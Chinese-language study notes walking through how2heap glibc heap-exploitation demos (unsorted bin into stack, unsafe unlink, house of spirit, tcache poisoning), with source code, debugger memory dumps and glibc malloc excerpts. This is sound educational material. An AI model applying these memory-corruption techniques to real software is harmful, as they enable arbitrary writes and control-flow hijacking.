unsorted_bin_into_stack (glibc 2.23)
- 环境
Ubuntu 16.04
Glibc 2.23 - 源代码
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>
void jackpot(){ printf("Nice jump d00d\n"); exit(0); }
int main() {
intptr_t stack_buffer[4] = {0};
printf("Allocating the victim chunk\n");
intptr_t* victim = malloc(0x100);
printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
intptr_t* p1 = malloc(0x100);
printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free(victim);
printf("Create a fake chunk on the stack");
printf("Set size for next allocation and the bk pointer to any writable address");
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (intptr_t)stack_buffer;
//------------VULNERABILITY-----------
printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
victim[-1] = 32;
victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
//------------------------------------
printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
char *p2 = malloc(0x100);
printf("malloc(0x100): %p\n", p2);
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
assert((long)__builtin_return_address(0) == (long)jackpot);
}
- 分析
建议结合 《从0到1》6.6.3.3 Unsorted Bin List 学习。
第 13 行 intptr_t* victim = malloc(0x100);
为 victim 分配空间,其对应的 chunk(下文称为 victim_chunk) 的地址为 0x602410
。
pwndbg> x/6xg 0x602410
0x602410: 0x0000000000000000 0x0000000000000111
0x602420: 0x0000000000000000 0x0000000000000000
0x602430: 0x0000000000000000 0x0000000000000000
执行完第 19 行 free(victim);
后,victim_chunk 进入 unsorted bin。
pwndbg> unsortedbin
unsortedbin
all: 0x602410 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602410
执行完第 30 行 victim[1] = (intptr_t)stack_buffer;
后, victim_chunk 被篡改,其 bk
指针指向目标栈地址(stack_buffer
),fd
指针指向 main_arena + 88
:
pwndbg> x/6xg 0x602410
0x602410: 0x0000000000000000 0x0000000000000020
0x602420: 0x00007ffff7dd1b78 0x00007fffffffde00
0x602430: 0x0000000000000000 0x0000000000000000
stack_buffer
中有一个伪造的 chunk(下文称为 fake_chunk):
// 伪造 chunk
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (intptr_t)stack_buffer;
pwndbg> x/6xg 0x00007fffffffde00
0x7fffffffde00: 0x0000000000000000 0x0000000000000110
0x7fffffffde10: 0x0000000000000000 0x00007fffffffde00
0x7fffffffde20: 0x00007fffffffdf10 0xc4dc343a57b79300
现考虑第 34 行的 char *p2 = malloc(0x100);
。查看 _int_malloc()
中的相关源代码:
for (;; )
{
int iters = 0;
// 处理 unsorted bin 的循环,首先获得链表中的第一个 chunk
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
// victim 就是我们的 victim_chunk
// bck 即 fake_chunk
bck = victim->bk; // bck 是第二个 chunk
// 64 位系统中,SIZE_SZ 等价于一个 32 位 unsigned int
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
// victim_chunk 不是 last_remainder 且 size 不满足
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
// 考虑 smallbin,(相反,另一个分支考虑的就是 largebin)相关代码如下:
/*
#define NBINS 128
#define NSMALLBINS 64
#define SMALLBIN_WIDTH MALLOC_ALIGNMENT
#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
// 64 0/1 2*SIZE_SZ
#define in_smallbin_range(sz) \
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
*/
......
}
/* remove from unsorted list */
// 向 fake_chunk 的 fd 段写入 main_arena+88
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
/* Take now instead of binning if exact fit */
// 如果大小刚好符合,返回该 chunk
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
/* place chunk in bin */
// 根据大小不同进行处理,放入对应的 bin 中
if (in_smallbin_range (size))
{
// 放入 small bin
victim_index = smallbin_index (size);
yy = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
// 放入 large bin
......
}
// 插入双链表
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
// 至此,victim 被从 unsorted bin 中取出放入 small bin 或 large bin 中
// 如果还没分配出合适大小的 chunk,会重新回到循环的开头
// 再循环一次的话,取出的就是 fake_chunk,大小刚好符合,返回该 chunk
#define MAX_ITERS 10000
if (++iters >= MAX_ITERS)
break;
}
......
根据上面的分析,malloc(0x100)
的时候分配的就是 fake_chunk
printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
char *p2 = malloc(0x100);
printf("malloc(0x100): %p\n", p2);
/*
Now next malloc will return the region of our fake chunk: 0x7ffe4a7c5a10
malloc(0x100): 0x7ffe4a7c5a10
*/
后面就是往 ret 的位置写入 shellcode 。
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
assert((long)__builtin_return_address(0) == (long)jackpot);
pwndbg> stack 40
00:0000│ rsp 0x7fffffffdde0 —▸ 0x400706 (jackpot) ◂— 0x400938bfe5894855
01:0008│ 0x7fffffffdde8 —▸ 0x602420 —▸ 0x7ffff7dd1b88 (main_arena+104) —▸ 0x602410 ◂— 0x0
02:0010│ 0x7fffffffddf0 —▸ 0x602530 ◂— 0x0
03:0018│ 0x7fffffffddf8 —▸ 0x7fffffffde10 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x602630 ◂— 0x0
04:0020│ 0x7fffffffde00 ◂— 0x0
05:0028│ 0x7fffffffde08 ◂— 0x110
06:0030│ 0x7fffffffde10 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x602630 ◂— 0x0
07:0038│ 0x7fffffffde18 —▸ 0x7fffffffde00 ◂— 0x0
08:0040│ 0x7fffffffde20 —▸ 0x7fffffffdf10 ◂— 0x1
09:0048│ 0x7fffffffde28 ◂— 0xa9859577826b600
0a:0050│ rbp 0x7fffffffde30 —▸ 0x4008b0 (__libc_csu_init) ◂— 0x41ff894156415741
0b:0058│ rdx 0x7fffffffde38 —▸ 0x400706 (jackpot) ◂— 0x400938bfe5894855
- 步骤
- 创建
victim = malloc(0x100);
p1 = malloc(0x100); // 防止 free(victim) 后合并入 top chunk
free(victim)
- 伪造一个 chunk,
bk
指向自身 - 修改 victim 的
bk
指向 fake_chunk -
malloc(size)
(要求size
满足:unsorted bin 会遍历 chunk link,在这个过程中跳过victim
而选中fake_chunk
)。此时fake_chunk
的fd
指向main_arena+88
,借此可以泄漏 libc 基地址。
unsafe_unlink (glibc 2.31)
- 环境
Ubuntu 20.04
Glibc 2.31 - 源代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
uint64_t *chunk0_ptr;
int main()
{
setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 20.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
int header_size = 2;
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
printf("We create a fake chunk inside chunk0.\n");
printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n");
chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;
printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);
}
- 分析
利用该漏洞的前提条件:
This technique can be used when you have a pointer at a known location to a region you can call unlink on.
The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.
- 首先是在 chunk0 中伪造一个 fake_chunk。
运行到第 29 行:
Welcome to unsafe unlink 2.0!
Tested in Ubuntu 20.04 64bit.
This technique can be used when you have a pointer at a known location to a region you can call unlink on.
The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.
The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.
The global chunk0_ptr is at 0x555555558020, pointing to 0x5555555592a0
The victim chunk we are going to corrupt is at 0x5555555596d0
We create a fake chunk inside chunk0.
We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f
查看 chunk0:
gdb-peda$ x/10xg 0x555555559280
0x555555559280: 0x0000000000000000 0x0000000000000000
0x555555559290: 0x0000000000000000 0x0000000000000431
0x5555555592a0: 0x0000000000000000 0x0000000000000000
0x5555555592b0: 0x0000000000000000 0x0000000000000000
0x5555555592c0: 0x0000000000000000 0x0000000000000000
- 经过第 29 行
chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
的修改后:
gdb-peda$ x/10xg 0x555555559280
0x555555559280: 0x0000000000000000 0x0000000000000000
0x555555559290: 0x0000000000000000 0x0000000000000431
0x5555555592a0: 0x0000000000000000 0x0000000000000421
0x5555555592b0: 0x0000000000000000 0x0000000000000000
0x5555555592c0: 0x0000000000000000 0x0000000000000000
如此可以绕过 unlink
之前的如下检查:
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink(av, p, bck, fwd);
- 接下来第 31 行
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
设置 fake_chunk 的fd
,使其能绕过如下检查:
// p 在 bin 中的上一个 chunk 的 下一个 chunk 肯定是它自己
assert(p->fd->bk == p);
其中,p->fd
取出 chunk0_ptr[2]
中存放的地址(此处的 p
为 fake_chunk,fake_chunk 的首地址存放在 &chunk0_ptr
),即 (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3)
(换言之,p->fd == (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3)
)。而
p->fd->bk => p->fd + (sizeof(uint64_t)*3) => (uint64_t) &chunk0_ptr - (sizeof(uint64_t)*3) + (sizeof(uint64_t)*3) => &chunk0_ptr
p->fd->bk == p 成立
为什么是 + (sizeof(uint64_t)*3)
?因为 bk
是 chunk 中的第 4 个元素。
第 34 行 chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
则设置 fake_chunk 的 bk
,与上同理,绕过 assert(p->bk->fd == p);
的检查。
此时的 chunk0 及 fake_chunk 如下:
gdb-peda$ x/10xg 0x555555559280
0x555555559280: 0x0000000000000000 0x0000000000000000
0x555555559290: 0x0000000000000000 0x0000000000000431
0x5555555592a0: 0x0000000000000000 0x0000000000000421
0x5555555592b0: 0x0000555555558008 0x0000555555558010
0x5555555592c0: 0x0000000000000000 0x0000000000000000
- 第 42 行
chunk1_hdr[0] = malloc_size;
将 chunk1 的prev_size
改成 fake_chunk 的 size,并且在第 45 行chunk1_hdr[1] &= ~1;
将previous_in_use
位置 0。此时 ptmalloc 会“以为” chunk1 的上一个相邻的 chunk 是 fake_chunk,并且 fake_chunk 已经被 free,由 bins 管理。如果在这个时候 free 掉 chunk1,就会触发 unlink,将 fake_chunk 和 chunk1 合并一个 chunk,再放回 bins 中。unlink 会修改合并的两个 chunk 的前一个 chunk 的 fd 和 bk(此处修改的是 fake_chunk),具体如下:
// https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
......
FD->bk = BK; \
BK->fd = FD; \
......
下面是 free 前后的对比(chunk0_ptr 存放在 0x555555558020,且指向 0x5555555592a0):
// free(chunk1_ptr) 之前
gdb-peda$ x/10xg 0x555555558020
0x555555558020 <chunk0_ptr>: 0x00005555555592a0 0x0000000000000000
0x555555558030: 0x0000000000000000 0x0000000000000000
0x555555558040: 0x0000000000000000 0x0000000000000000
0x555555558050: 0x0000000000000000 0x0000000000000000
0x555555558060: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/10xg 0x00005555555592a0
0x5555555592a0: 0x0000000000000000 0x0000000000000421 // fake_chunk
0x5555555592b0: 0x0000555555558008 0x0000555555558010
0x5555555592c0: 0x0000000000000000 0x0000000000000000
0x5555555592d0: 0x0000000000000000 0x0000000000000000
0x5555555592e0: 0x0000000000000000 0x0000000000000000
// free 之后
gdb-peda$ x/6xg 0x555555558020
0x555555558020 <chunk0_ptr>: 0x0000555555558008 0x0000000000000000
0x555555558030: 0x0000000000000000 0x0000000000000000
0x555555558040: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/6xg 0x00005555555592a0
0x5555555592a0: 0x0000000000000000 0x0000000000020d61
0x5555555592b0: 0x0000555555558008 0x0000555555558010
0x5555555592c0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/6xg 0x0000555555558008
0x555555558008: 0x0000555555558008 0x00007ffff7faf6a0
0x555555558018 <completed.8060>: 0x0000000000000000 0x0000555555558008
0x555555558028: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/6xg 0x0000555555558010
0x555555558010 <stdout@@GLIBC_2.2.5>: 0x00007ffff7faf6a0 0x0000000000000000
0x555555558020 <chunk0_ptr>: 0x0000555555558008 0x0000000000000000
0x555555558030: 0x0000000000000000 0x0000000000000000
由于第 3 步的设计,fake_chunk 的 FD
指向 (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3)
(即 0x0000555555558008
处),而 BK
指向 (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2)
(即 0x0000555555558010
处),都在 &chunk0_ptr
附近。此时,FD->bk
和 BK->fd
都指向 &chunk0_ptr
,即存放指向 fake_chunk 头部的指针的位置,而 unlink 中执行 FD->bk = BK; BK->fd = FD;
则会将该位置所存放的指针改为指向 FD
(即 0x0000555555558008
)。
gdb-peda$ x/6xg 0x555555558020
0x555555558020 <chunk0_ptr>: 0x0000555555558008 0x0000000000000000
0x555555558030: 0x0000000000000000 0x0000000000000000
0x555555558040: 0x0000000000000000 0x0000000000000000
- 此时会出现一种诡异的现象:操作系统“以为” fake_chunk 的头指针(P 指针)存放在
0x555555558020
,指向0x0000555555558008
(fake_chunk 位于此)。如此,新的 fake_chunk 的 bk 段也在0x555555558020
,我们能通过修改 fake_chunk 的 bk 段修改 chunk0_ptr 指针(注意:fake_chunk 的头部指针即为一开始的chunk0_ptr = (uint64_t*) malloc(malloc_size);
,我们假设始终有权修改 chunk0_ptr 指向的内容)。
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
gdb-peda$ x/6xg 0x555555558020
0x555555558020 <chunk0_ptr>: 0x00007fffffffde20 0x0000000000000000
0x555555558030: 0x0000000000000000 0x0000000000000000
0x555555558040: 0x0000000000000000 0x0000000000000000
- 此时便能通过修改 chunk0_ptr 指向的内容来篡改 victim_string。
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
/*
Original value: Hello!~
New Value: BBBBAAAA
*/
- 总结流程
-
chunk0_ptr = (uint64_t*) malloc(malloc_size);
(需要知道&chunk0_ptr
,即存放该指针的地址) uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size);
- 在 chunk0_ptr 指向的空间中伪造一个 fake_chunk:
chunk0_ptr[1] = chunk0_ptr[-1] - 0x10; // size
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)3); // fd
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)2); // bk
- 从 chunk0 溢出,修改 chunk1 的 prev_size 为 fake_chunk 的 size,并且将 chunk1 的 previous_in_use 位置 0
- free(chunk1)
- 将 fake_chunk(chunk0_ptr 指向 fake_chunk 头部)的 bk 段修改为指向要篡改数据的地址
- 此时 chunk0_ptr 指向的便是我们要篡改的数据,直接修改该指针指向的数据即可
house_of_spirit (glibc 2.23)
- 环境
Ubuntu 16.04
Glibc 2.23 - 源代码
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);
fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}
- 分析
- 第 9 行
malloc(1);
调用一次 malloc 以分配一块堆内存; - 第 14 行
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
要求 fake_chunks 的地址 16 字节对齐; - 第 20 行
fake_chunks[1] = 0x40;
设置 fake_chunk 的 size 字段,第 24 行fake_chunks[9] = 0x1234;
设置 fake_chunk 的下一个 chunk 的 size; - 接下来就是 free 掉 fake_chunk,再重新 malloc,即可令系统将其视为一个真正的 chunk 来使用:
unsigned long long *a;
...
a = &fake_chunks[2];
...
free(a);
...
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
- CTF Wiki
House of Spirit 是 the Malloc Maleficarum 中的一种技术。该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。
要想构造 fastbin fake chunk,并且将其释放时,可以放入对应的 fastbin 链表中,需要绕过一些必要的检测,即
- fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理:
/*
If the chunk was allocated via mmap, release via munmap().
*/
else {
munmap_chunk (p);
}
- fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
/* Little security check which won't hurt performance: the
allocator never wrapps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
{
errstr = "free(): invalid pointer";
errout:
if (!have_lock && locked)
(void) mutex_unlock (&av->mutex);
malloc_printerr (check_action, errstr, chunk2mem (p), av);
return;
}
- fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
{
errstr = "free(): invalid size";
goto errout;
}
......
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
- fake chunk 的下一个 chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem 。
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
- fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。
......
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
tcache_house_of_spirit (glibc 2.31)
- 源代码
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
setbuf(stdout, NULL);
printf("This file demonstrates the house of spirit attack on tcache.\n");
printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");
printf("Ok. Let's start with the example!.\n\n");
printf("Calling malloc() once so that it sets up its memory.\n");
malloc(1);
printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
unsigned long long *a; //pointer that will be overwritten
unsigned long long fake_chunks[10]; //fake chunk region
printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);
printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size
printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];
printf("Freeing the overwritten pointer.\n");
free(a);
printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
void *b = malloc(0x30);
printf("malloc(0x30): %p\n", b);
assert((long)b == (long)&fake_chunks[2]);
}
- 分析
其实跟原始的 house of spirit 基本相同,甚至都不用设置 next_chunk 的 size.
tcache_poisoning (glibc 2.27)
- 源代码
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main()
{
// disable buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n"
"The attack is very similar to fastbin corruption attack.\n");
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");
size_t stack_var;
printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);
printf("Allocating 2 buffers.\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);
printf("Freeing the buffers...\n");
free(a);
free(b);
printf("Now the tcache list has [ %p -> %p ].\n", b, a);
printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
"to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
b[0] = (intptr_t)&stack_var;
printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);
printf("1st malloc(128): %p\n", malloc(128));
printf("Now the tcache list has [ %p ].\n", &stack_var);
intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
printf("We got the control\n");
assert((long)&stack_var == (long)c);
return 0;
}
- 分析
ctf wiki - 步骤
可能需要一个 UAF,free 进 tcache 后篡改 next 段,再用 2 次 malloc 在指定的地址伪造 chunk。
tcache_dup
- 分析
how2heap 上这份代码好像已经被删掉了,可以看看 ctf wiki - 关键点
double free.
tcache_stashing_unlink_attack
- 资料
https://blog.csdn.net/qq_41202237/article/details/120283359
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack/#0x02-tcache-usage
靓仔靓妹,既然都看到这里了,不妨点个免费的赞让我高兴高兴?